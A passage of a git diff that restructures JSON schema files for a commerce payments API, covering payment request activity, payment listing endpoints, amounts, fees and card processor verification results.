"in": "header", + "required": false, + "description": "Unique request identifier for idempotency and tracing. Used to prevent duplicate payment requests.", + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + } + }, + "responses": { + "default": { + "description": "Error response", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "400": { + "description": "Bad Request - Invalid input data", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "422": { + "description": "Unprocessable Entity - Validation failed", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "201": { + "description": "Payment request activity created successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment-request/activity.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Activity record for a payment request", + "properties": { + "data": { + "additionalProperties": true, + "description": "Additional context data for the activity", + "example": { + "deviceId": "dev789", + "transactionId": "txn456", + "userId": "user123" + }, + "type": "object" + }, + "timestamp": { + "description": "Timestamp when the activity occurred in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "type": { + "description": "Type of activity performed on the payment request", + "example": "CREATED", + "type": "string" + } + }, + "required": [ + "type", + "timestamp" + ], + "title": "Payment Request Activity", + "type": "object" + } + }, + "404": { + "description": "Not Found - Resource does not exist", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "403": { + "description": "Forbidden - Insufficient permissions", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "500": { + "description": "Internal Server Error", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "429": { + "description": "Too Many Requests - Rate limit exceeded", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + }, + "401": { + "description": "Unauthorized - Invalid authentication credentials", + "schema": { + "$ref": "./common-types/v1/schemas/yaml/error.yaml" + } + } + }, + "scopes": [ + "commerce.payment-request:write" + ] + } + ] +} \ No newline at end of file diff --git a/src/cli/schemas/api/payments.json b/rust/schemas/api/payments.json similarity index 75% rename from src/cli/schemas/api/payments.json rename to rust/schemas/api/payments.json index 16c421c..3d09516 100644 --- a/src/cli/schemas/api/payments.json +++ b/rust/schemas/api/payments.json @@ -6,50 +6,17 @@ "baseUrl": "https://api.godaddy.com/v1/commerce", "endpoints": [ { - "operationId": "getAuthorizations", + "operationId": "getPayments", "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/authorizations", - "summary": "Get Authorizations", + "path": "/stores/{storeId}/payments", + "summary": "Get Payments", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" + "$ref": "./types/Uuid.yaml" } }, { @@ -57,8 +24,8 @@ "in": "query", "required": false, "schema": { - "type": "integer", - "default": 1 + "default": 1, + "type": "integer" } }, { @@ -66,8 +33,8 @@ "in": "query", "required": false, "schema": { - "type": "integer", - "default": 10 + "default": 10, + "type": "integer" } }, { @@ -75,17503 +42,9670 @@ "in": "query", "required": false, "schema": { - "type": "boolean", - "default": false + "default": false, + "type": "boolean" } } ], "responses": { "200": { - "description": "Authorization list", + "description": "Payments list", "schema": { - "title": "Authorizations", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], "properties": { "items": { "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "$id": "https://godaddy.com/schemas/commerce/payment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Authorization Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "description": "A monetary transfer of funds from a funding source to the recipient merchant", + "properties": { + "additionalProcessingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "authOnly": { + "default": false, + "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment", + "type": "boolean", + "writeOnly": true }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "partialAuthEnabled": { + "default": true, + "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Transaction Processing Instruction", + "type": "object" + }, + "adjustments": { + "description": "Adjustments for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "required": [ - "amount", - "type" - ] + "type": "array" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", + "description": "Tip amount details", "properties": { "amount": { - "type": "integer", + "description": "Tip amount", "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] + "type": "integer" }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "title": "DebitCardProcessorResponse", + "type": "object" } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + ], + "properties": { + "processorType": { + "type": "string" } - } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": 